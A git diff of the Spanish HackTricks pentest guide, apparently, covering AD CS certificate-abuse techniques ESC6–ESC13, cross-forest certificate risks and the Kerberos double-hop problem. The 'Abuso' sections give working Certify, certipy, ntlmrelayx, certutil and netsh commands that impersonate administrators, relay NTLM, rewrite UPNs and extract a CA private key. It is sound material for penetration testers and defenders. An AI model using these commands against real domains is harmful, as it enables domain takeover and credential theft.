El tema discutido en el [**post de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) también aborda las implicaciones de la bandera **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, según lo establecido por Microsoft. Esta configuración, cuando se activa en una Autoridad de Certificación (CA), permite la inclusión de **valores definidos por el usuario** en el **nombre alternativo del sujeto** para **cualquier solicitud**, incluidas aquellas construidas a partir de Active Directory®. En consecuencia, esta disposición permite a un **intruso** inscribirse a través de **cualquier plantilla** configurada para la **autenticación de dominio** —específicamente aquellas abiertas a la inscripción de usuarios **sin privilegios**, como la plantilla de Usuario estándar. Como resultado, se puede asegurar un certificado, lo que permite al intruso autenticarse como un administrador de dominio u **otra entidad activa** dentro del dominio.
|
||||
|
||||
**Nota**: El enfoque para agregar **nombres alternativos** en una Solicitud de Firma de Certificado (CSR), a través del argumento `-attrib "SAN:"` en `certreq.exe` (referido como "Pares de Nombre Valor"), presenta un **contraste** con la estrategia de explotación de SAN en ESC1. Aquí, la distinción radica en **cómo se encapsula la información de la cuenta**—dentro de un atributo de certificado, en lugar de una extensión.
|
||||
**Nota**: El enfoque para agregar **nombres alternativos** en una Solicitud de Firma de Certificado (CSR), a través del argumento `-attrib "SAN:"` en `certreq.exe` (referido como "Pares de Nombre Valor"), presenta un **contraste** con la estrategia de explotación de SANs en ESC1. Aquí, la distinción radica en **cómo se encapsula la información de la cuenta** —dentro de un atributo de certificado, en lugar de una extensión.
|
||||
|
||||
### Abuso
|
||||
|
||||
|
@ -216,11 +216,11 @@ Certify.exe find
|
|||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
Para modificar estos ajustes, asumiendo que se poseen derechos de administrador de dominio o equivalentes, se puede ejecutar el siguiente comando desde cualquier estación de trabajo:
|
||||
Para modificar estos ajustes, suponiendo que se poseen derechos de **administrador de dominio** o equivalentes, se puede ejecutar el siguiente comando desde cualquier estación de trabajo:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
Para deshabilitar esta configuración en tu entorno, la bandera puede ser eliminada con:
|
||||
Para deshabilitar esta configuración en tu entorno, el flag puede ser eliminado con:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
|
@ -247,7 +247,7 @@ Tener derechos de **`ManageCA`** en una autoridad de certificación permite al p
|
|||
|
||||
La simplificación de este proceso es posible mediante el uso del cmdlet **Enable-PolicyModuleFlag** de PSPKI, lo que permite realizar modificaciones sin interacción directa con la GUI.
|
||||
|
||||
La posesión de derechos de **`ManageCertificates`** facilita la aprobación de solicitudes pendientes, eludiendo efectivamente la salvaguarda de "aprobación del administrador de certificados de CA".
|
||||
La posesión de derechos de **`ManageCertificates`** facilita la aprobación de solicitudes pendientes, evitando efectivamente la salvaguarda de "aprobación del administrador de certificados de CA".
|
||||
|
||||
Se puede utilizar una combinación de los módulos **Certify** y **PSPKI** para solicitar, aprobar y descargar un certificado:
|
||||
```powershell
|
||||
|
@ -270,15 +270,15 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
|||
#### Explicación
|
||||
|
||||
{% hint style="warning" %}
|
||||
En el **ataque anterior** se utilizaron los permisos **`Manage CA`** para **habilitar** la bandera **EDITF\_ATTRIBUTESUBJECTALTNAME2** y realizar el ataque **ESC6**, pero esto no tendrá efecto hasta que se reinicie el servicio de la CA (`CertSvc`). Cuando un usuario tiene el derecho de acceso `Manage CA`, también se le permite **reiniciar el servicio**. Sin embargo, **esto no significa que el usuario pueda reiniciar el servicio de forma remota**. Además, **ESC6** podría no funcionar de inmediato en la mayoría de los entornos parcheados debido a las actualizaciones de seguridad de mayo de 2022.
|
||||
En el **ataque anterior** se utilizaron los permisos de **`Manage CA`** para **habilitar** la bandera **EDITF\_ATTRIBUTESUBJECTALTNAME2** y llevar a cabo el ataque **ESC6**, pero esto no tendrá efecto hasta que se reinicie el servicio de la CA (`CertSvc`). Cuando un usuario tiene el derecho de acceso `Manage CA`, también se le permite **reiniciar el servicio**. Sin embargo, **esto no significa que el usuario pueda reiniciar el servicio de forma remota**. Además, **ESC6** podría no funcionar de inmediato en la mayoría de los entornos parcheados debido a las actualizaciones de seguridad de mayo de 2022.
|
||||
{% endhint %}
|
||||
|
||||
Por lo tanto, se presenta aquí otro ataque.
|
||||
|
||||
Requisitos:
|
||||
|
||||
* Solo permiso **`ManageCA`**
|
||||
* Permiso **`Manage Certificates`** (puede otorgarse desde **`ManageCA`**)
|
||||
* Solo permiso de **`ManageCA`**
|
||||
* Permiso de **`Manage Certificates`** (puede otorgarse desde **`ManageCA`**)
|
||||
* La plantilla de certificado **`SubCA`** debe estar **habilitada** (puede habilitarse desde **`ManageCA`**)
|
||||
|
||||
La técnica se basa en que los usuarios con el derecho de acceso `Manage CA` _y_ `Manage Certificates` pueden **emitir solicitudes de certificado fallidas**. La plantilla de certificado **`SubCA`** es **vulnerable a ESC1**, pero **solo los administradores** pueden inscribirse en la plantilla. Por lo tanto, un **usuario** puede **solicitar** inscribirse en el **`SubCA`** - lo cual será **denegado** - pero **luego emitido por el administrador posteriormente**.
|
||||
|
@ -337,7 +337,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
## NTLM Relay a los Puntos Finales HTTP de AD CS – ESC8
|
||||
## Relevamiento de NTLM Relay a Puntos Finales HTTP de AD CS – ESC8
|
||||
|
||||
### Explicación
|
||||
|
||||
|
@ -347,12 +347,12 @@ En entornos donde está instalado **AD CS**, si existe un **punto final de inscr
|
|||
|
||||
Varios **métodos de inscripción basados en HTTP** son compatibles con AD CS, disponibles a través de roles de servidor adicionales que los administradores pueden instalar. Estas interfaces para la inscripción de certificados basada en HTTP son susceptibles a **ataques de relay NTLM**. Un atacante, desde una **máquina comprometida, puede hacerse pasar por cualquier cuenta de AD que se autentique a través de NTLM entrante**. Mientras se hace pasar por la cuenta de la víctima, estos interfaces web pueden ser accedidos por un atacante para **solicitar un certificado de autenticación de cliente utilizando las plantillas de certificado `User` o `Machine`**.
|
||||
|
||||
* La **interfaz de inscripción web** (una aplicación ASP más antigua disponible en `http://<caserver>/certsrv/`), por defecto es solo HTTP, lo que no ofrece protección contra ataques de relay NTLM. Además, explícitamente permite solo la autenticación NTLM a través de su encabezado HTTP de Autorización, lo que hace que los métodos de autenticación más seguros como Kerberos no sean aplicables.
|
||||
* El **Servicio de Inscripción de Certificados** (CES), el **Servicio Web de Política de Inscripción de Certificados** (CEP) y el **Servicio de Inscripción de Dispositivos de Red** (NDES) admiten por defecto la autenticación de negociación a través de su encabezado HTTP de Autorización. La autenticación de negociación **admite tanto** Kerberos como **NTLM**, lo que permite a un atacante **degradar a la autenticación NTLM** durante los ataques de relay. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS solo **no protege contra ataques de relay NTLM**. La protección contra ataques de relay NTLM para servicios HTTPS solo es posible cuando HTTPS se combina con el enlace de canal. Lamentablemente, AD CS no activa la Protección Extendida para la Autenticación en IIS, que es necesaria para el enlace de canal.
|
||||
* La **interfaz de inscripción web** (una aplicación ASP más antigua disponible en `http://<caserver>/certsrv/`), por defecto solo es HTTP, lo que no ofrece protección contra ataques de relay NTLM. Además, permite explícitamente solo la autenticación NTLM a través de su encabezado HTTP de Autorización, lo que hace que métodos de autenticación más seguros como Kerberos no sean aplicables.
|
||||
* El **Servicio de Inscripción de Certificados** (CES), el **Servicio Web de Política de Inscripción de Certificados** (CEP) y el **Servicio de Inscripción de Dispositivos de Red** (NDES) admiten por defecto la autenticación de negociación a través de su encabezado HTTP de Autorización. La autenticación de negociación **admite tanto** Kerberos como **NTLM**, lo que permite a un atacante **degradar a NTLM** durante ataques de relay. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS solo **no protege contra ataques de relay NTLM**. La protección contra ataques de relay NTLM para servicios HTTPS solo es posible cuando HTTPS se combina con enlace de canal. Lamentablemente, AD CS no activa la Protección Extendida para la Autenticación en IIS, que es necesaria para el enlace de canal.
|
||||
|
||||
Un **problema** común con los ataques de relay NTLM es la **breve duración de las sesiones NTLM** y la incapacidad del atacante para interactuar con servicios que **requieren firma NTLM**.
|
||||
|
||||
Sin embargo, esta limitación se supera al explotar un ataque de relay NTLM para adquirir un certificado para el usuario, ya que el período de validez del certificado dicta la duración de la sesión, y el certificado puede ser utilizado con servicios que **exigen firma NTLM**. Para obtener instrucciones sobre cómo utilizar un certificado robado, consulta:
|
||||
Sin embargo, esta limitación se supera al explotar un ataque de relay NTLM para adquirir un certificado para el usuario, ya que el período de validez del certificado dicta la duración de la sesión, y el certificado puede ser utilizado con servicios que **exigen firma NTLM**. Para instrucciones sobre cómo utilizar un certificado robado, consulta:
|
||||
|
||||
{% content-ref url="account-persistence.md" %}
|
||||
[account-persistence.md](account-persistence.md)
|
||||
|
@ -366,7 +366,7 @@ Otra limitación de los ataques de relay NTLM es que **una máquina controlada p
|
|||
|
||||
### **Abuso**
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera los **puntos finales HTTP de AD CS habilitados**:
|
||||
[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera **puntos finales HTTP de AD CS habilitados**:
|
||||
```
|
||||
Certify.exe cas
|
||||
```
|
||||
|
@ -400,9 +400,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
|||
```
|
||||
#### Abuso con [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
La solicitud de un certificado se realiza por defecto con Certipy basado en la plantilla `Machine` o `User`, determinada por si el nombre de la cuenta que se está transmitiendo termina en `$`. La especificación de una plantilla alternativa se puede lograr mediante el uso del parámetro `-template`.
|
||||
La solicitud de un certificado se realiza por Certipy de forma predeterminada basada en la plantilla `Machine` o `User`, determinada por si el nombre de la cuenta que se está transmitiendo termina en `$`. La especificación de una plantilla alternativa se puede lograr a través del uso del parámetro `-template`.
|
||||
|
||||
Una técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) puede luego ser utilizada para forzar la autenticación. Al tratar con controladores de dominio, se requiere la especificación de `-template DomainController`.
|
||||
Una técnica como [PetitPotam](https://github.com/ly4k/PetitPotam) luego se puede emplear para forzar la autenticación. Al tratar con controladores de dominio, se requiere la especificación de `-template DomainController`.
|
||||
```bash
|
||||
certipy relay -ca ca.corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -425,7 +425,7 @@ Las condiciones bajo las cuales la configuración de este indicador se vuelve si
|
|||
|
||||
- `StrongCertificateBindingEnforcement` no está ajustado a `2` (siendo el valor predeterminado `1`), o `CertificateMappingMethods` incluye el indicador `UPN`.
|
||||
- El certificado está marcado con el indicador `CT_FLAG_NO_SECURITY_EXTENSION` dentro de la configuración de `msPKI-Enrollment-Flag`.
|
||||
- Se especifica cualquier EKU de autenticación de cliente en el certificado.
|
||||
- Cualquier EKU de autenticación de cliente está especificado por el certificado.
|
||||
- Se dispone de permisos `GenericWrite` sobre cualquier cuenta para comprometer otra.
|
||||
|
||||
### Escenario de Abuso
|
||||
|
@ -436,7 +436,7 @@ Inicialmente, el hash de `Jane` se obtiene utilizando Credenciales de Sombra, gr
|
|||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
Posteriormente, el `userPrincipalName` de `Jane` se modifica a `Administrator`, omitiendo intencionalmente la parte del dominio `@corp.local`:
|
||||
Posteriormente, el `userPrincipalName` de `Jane` se modifica a `Administrator`, omitiendo intencionalmente la parte de dominio `@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
|
@ -456,7 +456,7 @@ Intentar la autenticación con el certificado emitido ahora produce el hash NT d
|
|||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
## Mapeos débiles de certificados - ESC10
|
||||
## Mapeos de Certificados Débiles - ESC10
|
||||
|
||||
### Explicación
|
||||
|
||||
|
@ -473,7 +473,7 @@ Cuando `StrongCertificateBindingEnforcement` está configurado como `0`.
|
|||
|
||||
Si `CertificateMappingMethods` incluye el bit `UPN` (`0x4`).
|
||||
|
||||
### Caso de abuso 1
|
||||
### Caso de Abuso 1
|
||||
|
||||
Con `StrongCertificateBindingEnforcement` configurado como `0`, una cuenta A con permisos de `GenericWrite` puede ser explotada para comprometer cualquier cuenta B.
|
||||
|
||||
|
@ -487,7 +487,7 @@ Posteriormente, el `userPrincipalName` de `Jane` se modifica a `Administrator`,
|
|||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Siguiendo esto, se solicita un certificado que habilite la autenticación del cliente como `Jane`, utilizando la plantilla predeterminada `Usuario`.
|
||||
Siguiendo esto, se solicita un certificado que habilite la autenticación del cliente como `Jane`, utilizando la plantilla predeterminada de `Usuario`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
|
@ -501,7 +501,7 @@ certipy auth -pfx administrator.pfx -domain corp.local
|
|||
```
|
||||
### Caso de abuso 2
|
||||
|
||||
Con el `CertificateMappingMethods` que contiene el bit de bandera `UPN` (`0x4`), una cuenta A con permisos de `GenericWrite` puede comprometer cualquier cuenta B que carezca de una propiedad `userPrincipalName`, incluidas las cuentas de máquinas y el administrador de dominio integrado `Administrator`.
|
||||
Con el `CertificateMappingMethods` que contiene el bit de bandera `UPN` (`0x4`), una cuenta A con permisos de `GenericWrite` puede comprometer cualquier cuenta B que carezca de una propiedad `userPrincipalName`, incluidas las cuentas de máquina y el administrador de dominio integrado `Administrator`.
|
||||
|
||||
Aquí, el objetivo es comprometer `DC$@corp.local`, comenzando por obtener el hash de `Jane` a través de Credenciales de Sombra, aprovechando el `GenericWrite`.
|
||||
```bash
|
||||
|
@ -511,11 +511,11 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
|||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
Se solicita un certificado para la autenticación del cliente como `Jane` utilizando la plantilla predeterminada de `Usuario`.
|
||||
Un certificado para autenticación de cliente es solicitado como `Jane` utilizando la plantilla predeterminada de `Usuario`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
El `userPrincipalName` de `Jane` se revierte a su valor original después de este proceso.
|
||||
`Jane`'s `userPrincipalName` vuelve a su valor original después de este proceso.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
|
@ -523,11 +523,11 @@ Para autenticar a través de Schannel, se utiliza la opción `-ldap-shell` de Ce
|
|||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
A través del shell LDAP, comandos como `set_rbcd` habilitan ataques de Delegación Constrained Basada en Recursos (RBCD), comprometiendo potencialmente el controlador de dominio.
|
||||
A través del shell LDAP, comandos como `set_rbcd` habilitan ataques de Delegación Constrained basada en Recursos (RBCD), comprometiendo potencialmente el controlador de dominio.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Esta vulnerabilidad también se extiende a cualquier cuenta de usuario que carezca de un `userPrincipalName` o donde no coincida con el `sAMAccountName`, siendo el `Administrator@corp.local` predeterminado un objetivo principal debido a sus privilegios LDAP elevados y la ausencia de un `userPrincipalName` por defecto.
|
||||
Esta vulnerabilidad también se extiende a cualquier cuenta de usuario que carezca de un `userPrincipalName` o donde no coincida con el `sAMAccountName`, siendo el `Administrator@corp.local` predeterminado un objetivo principal debido a sus privilegios LDAP elevados y la ausencia de un `userPrincipalName` de forma predeterminada.
|
||||
|
||||
## Reenvío de NTLM a ICPR - ESC11
|
||||
|
||||
|
@ -535,7 +535,7 @@ Esta vulnerabilidad también se extiende a cualquier cuenta de usuario que carez
|
|||
|
||||
Si el servidor de CA no está configurado con `IF_ENFORCEENCRYPTICERTREQUEST`, puede realizar ataques de reenvío de NTLM sin firmar a través del servicio RPC. [Referencia aquí](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
Puedes usar `certipy` para enumerar si `Enforce Encryption for Requests` está deshabilitado y certipy mostrará las vulnerabilidades `ESC11`.
|
||||
Puede usar `certipy` para enumerar si `Enforce Encryption for Requests` está deshabilitado y certipy mostrará las vulnerabilidades `ESC11`.
|
||||
```bash
|
||||
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
@ -552,7 +552,7 @@ Enforce Encryption for Requests : Disabled
|
|||
ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
|
||||
|
||||
```
|
||||
### Escenario de Abuso
|
||||
### Escenario de abuso
|
||||
|
||||
Es necesario configurar un servidor de retransmisión:
|
||||
``` bash
|
||||
|
@ -579,7 +579,7 @@ O utilizando [la bifurcación de sploutchy de impacket](https://github.com/splou
|
|||
``` bash
|
||||
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
||||
```
|
||||
## Acceso al shell de ADCS CA con YubiHSM - ESC12
|
||||
## Acceso al shell a ADCS CA con YubiHSM - ESC12
|
||||
|
||||
### Explicación
|
||||
|
||||
|
@ -593,7 +593,7 @@ Referencia en [aquí](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-c
|
|||
|
||||
### Escenario de abuso
|
||||
|
||||
Si la clave privada de la CA se almacena en un dispositivo USB físico cuando se obtiene acceso al shell, es posible recuperar la clave.
|
||||
Si la clave privada de la CA se almacena en un dispositivo USB físico cuando se tiene acceso al shell, es posible recuperar la clave.
|
||||
|
||||
En primer lugar, es necesario obtener el certificado de la CA (este es público) y luego:
|
||||
```cmd
|
||||
|
@ -607,7 +607,7 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
|
|||
|
||||
### Explicación
|
||||
|
||||
El atributo `msPKI-Certificate-Policy` permite que la política de emisión se agregue a la plantilla de certificado. Los objetos `msPKI-Enterprise-Oid` que son responsables de emitir políticas se pueden descubrir en el Contexto de Nombres de Configuración (CN=OID,CN=Public Key Services,CN=Services) del contenedor OID de PKI. Una política puede estar vinculada a un grupo de AD utilizando el atributo `msDS-OIDToGroupLink` de este objeto, lo que permite a un sistema autorizar a un usuario que presente el certificado como si fuera miembro del grupo. [Referencia aquí](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
El atributo `msPKI-Certificate-Policy` permite que la política de emisión se agregue a la plantilla del certificado. Los objetos `msPKI-Enterprise-Oid` que son responsables de emitir políticas se pueden descubrir en el Contexto de Nombres de Configuración (CN=OID,CN=Public Key Services,CN=Services) del contenedor OID de PKI. Una política puede estar vinculada a un grupo de AD utilizando el atributo `msDS-OIDToGroupLink` de este objeto, lo que permite a un sistema autorizar a un usuario que presente el certificado como si fuera miembro del grupo. [Referencia aquí](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
En otras palabras, cuando un usuario tiene permiso para inscribir un certificado y el certificado está vinculado a un grupo OID, el usuario puede heredar los privilegios de este grupo.
|
||||
|
||||
|
@ -647,26 +647,26 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
|
|||
|
||||
### Ruptura de Confianza de Bosques por CAs Comprometidos
|
||||
|
||||
La configuración para **inscripción entre bosques** se realiza de manera relativamente sencilla. El **certificado de la CA raíz** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los certificados de la **CA empresarial** del bosque de recursos son **agregados a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control completo** sobre todos los demás bosques para los cuales gestiona PKI. Si esta CA es **comprometida por atacantes**, los certificados de todos los usuarios en ambos bosques de recursos y de cuentas podrían ser **falsificados por ellos**, rompiendo así el límite de seguridad del bosque.
|
||||
La configuración para **inscripción entre bosques** se simplifica. El **certificado de la CA raíz** del bosque de recursos se **publica en los bosques de cuentas** por administradores, y los certificados de **CA empresarial** del bosque de recursos se **añaden a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control completo** sobre todos los demás bosques para los cuales administra PKI. Si esta CA es **comprometida por atacantes**, los certificados de todos los usuarios en ambos bosques de recursos y de cuentas podrían ser **falsificados por ellos**, rompiendo así el límite de seguridad del bosque.
|
||||
|
||||
### Privilegios de Inscripción Concedidos a Principales Extranjeros
|
||||
|
||||
En entornos multi-bosque, se requiere precaución con respecto a las CAs empresariales que **publican plantillas de certificados** que permiten a **Usuarios Autenticados o principales extranjeros** (usuarios/grupos externos al bosque al que pertenece la CA empresarial) **derechos de inscripción y edición**.\
|
||||
Al autenticarse a través de una confianza, el **SID de Usuarios Autenticados** es agregado al token del usuario por AD. Por lo tanto, si un dominio posee una CA empresarial con una plantilla que **permite derechos de inscripción a Usuarios Autenticados**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. De igual manera, si **se conceden explícitamente derechos de inscripción a un principal extranjero mediante una plantilla**, se crea una **relación de control de acceso entre bosques**, permitiendo a un principal de un bosque **inscribirse en una plantilla de otro bosque**.
|
||||
Al autenticarse a través de una confianza, el **SID de Usuarios Autenticados** se añade al token del usuario por AD. Por lo tanto, si un dominio posee una CA empresarial con una plantilla que **permite derechos de inscripción a Usuarios Autenticados**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. De igual manera, si **se conceden explícitamente derechos de inscripción a un principal extranjero por una plantilla**, se crea una **relación de control de acceso entre bosques**, permitiendo a un principal de un bosque **inscribirse en una plantilla de otro bosque**.
|
||||
|
||||
Ambos escenarios conducen a un **aumento en la superficie de ataque** de un bosque a otro. La configuración de la plantilla de certificado podría ser explotada por un atacante para obtener privilegios adicionales en un dominio extranjero.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Introducción
|
||||
|
||||
El problema de "Doble Salto" de Kerberos aparece cuando un atacante intenta utilizar **autenticación Kerberos a través de dos** **saltos**, por ejemplo usando **PowerShell**/**WinRM**.
|
||||
El problema de "Doble Salto" de Kerberos ocurre cuando un atacante intenta utilizar la autenticación de **Kerberos a través de dos** **saltos**, por ejemplo, utilizando **PowerShell**/**WinRM**.
|
||||
|
||||
Cuando ocurre una **autenticación** a través de **Kerberos**, las **credenciales** **no** se almacenan en la **memoria**. Por lo tanto, si ejecutas mimikatz, no encontrarás las credenciales del usuario en la máquina aunque esté ejecutando procesos.
|
||||
Cuando ocurre una **autenticación** a través de **Kerberos**, las **credenciales** **no** se almacenan en la **memoria**. Por lo tanto, si ejecutas mimikatz, **no encontrarás las credenciales** del usuario en la máquina aunque esté ejecutando procesos.
|
||||
|
||||
Esto se debe a que al conectarse con Kerberos, se siguen estos pasos:
|
||||
Esto se debe a que al conectarse con Kerberos, estos son los pasos:
|
||||
|
||||
1. El Usuario1 proporciona credenciales y el **controlador de dominio** devuelve un **TGT** de Kerberos al Usuario1.
|
||||
2. El Usuario1 utiliza el **TGT** para solicitar un **ticket de servicio** para **conectarse** al Servidor1.
|
||||
|
@ -57,6 +57,8 @@ Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
|||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
Alternativamente, se sugiere establecer una sesión de PS con el primer servidor y ejecutar el `Invoke-Command` usando `$cred` para centralizar tareas.
|
||||
|
||||
### Registrar la Configuración de la Sesión de PS
|
||||
|
||||
Una solución para evitar el problema de doble salto implica usar `Register-PSSessionConfiguration` con `Enter-PSSession`. Este método requiere un enfoque diferente al de `evil-winrm` y permite una sesión que no sufre la limitación del doble salto.
|
||||
|
@ -66,9 +68,9 @@ Restart-Service WinRM
|
|||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
klist
|
||||
```
|
||||
### Reenvío de puertos
|
||||
### Reenvío de Puertos
|
||||
|
||||
Para los administradores locales en un objetivo intermedio, el reenvío de puertos permite enviar solicitudes a un servidor final. Utilizando `netsh`, se puede agregar una regla para el reenvío de puertos, junto con una regla de firewall de Windows para permitir el puerto reenviado.
|
||||
Para los administradores locales en un objetivo intermedio, el reenvío de puertos permite enviar solicitudes a un servidor final. Utilizando `netsh`, se puede agregar una regla para el reenvío de puertos, junto con una regla del firewall de Windows para permitir el puerto reenviado.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
|
@ -81,7 +83,7 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
|||
```
|
||||
### OpenSSH
|
||||
|
||||
